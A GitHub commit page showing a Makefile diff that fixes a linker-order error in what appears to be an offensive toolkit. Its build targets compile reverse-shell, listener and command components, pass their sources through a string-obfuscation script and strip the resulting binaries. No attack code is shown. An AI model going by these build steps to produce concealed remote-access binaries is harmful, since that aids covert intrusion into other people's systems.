Skip to content

Commit

Permalink
fixing Ubuntu linker error
Browse files Browse the repository at this point in the history
  • Loading branch information
f0rb1dd3n committed Nov 8, 2018
1 parent f165b19 commit 8c7b455
Showing 1 changed file with 2 additions and 5 deletions.
7 changes: 2 additions & 5 deletions sbin/Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -9,14 +9,12 @@ listener:
cp listener ../bin

reverse:
cat reverse.c | perl ../scripts/destringify.pl | gcc -O -W -Wall -o reverse $(SERVER_OBJ) -D_REPTILE_ -xc -lutil -
#gcc -O -W -Wall -o reverse $(SERVER_OBJ) -lutil
cat reverse.c | perl ../scripts/destringify.pl | gcc -O -W -Wall -o reverse $(SERVER_OBJ) -D_REPTILE_ -xc - -lutil
strip reverse
cp reverse ../bin

standalone_reverse:
cat reverse.c | perl ../scripts/destringify.pl | gcc -O -W -Wall -o reverse $(SERVER_OBJ) -xc -lutil -
#gcc -O -W -Wall -o reverse $(SERVER_OBJ) -lutil
cat reverse.c | perl ../scripts/destringify.pl | gcc -O -W -Wall -o reverse $(SERVER_OBJ) -xc - -lutil
strip reverse
cp reverse ../bin

Expand All @@ -27,7 +25,6 @@ packet:

cmd:
cat cmd.c | perl ../scripts/destringify.pl | gcc -O -W -Wall -o cmd -xc -
#gcc -O -W -Wall -o cmd cmd.c
strip cmd
cp cmd ../bin

Expand Down

0 comments on commit 8c7b455

Please sign in to comment.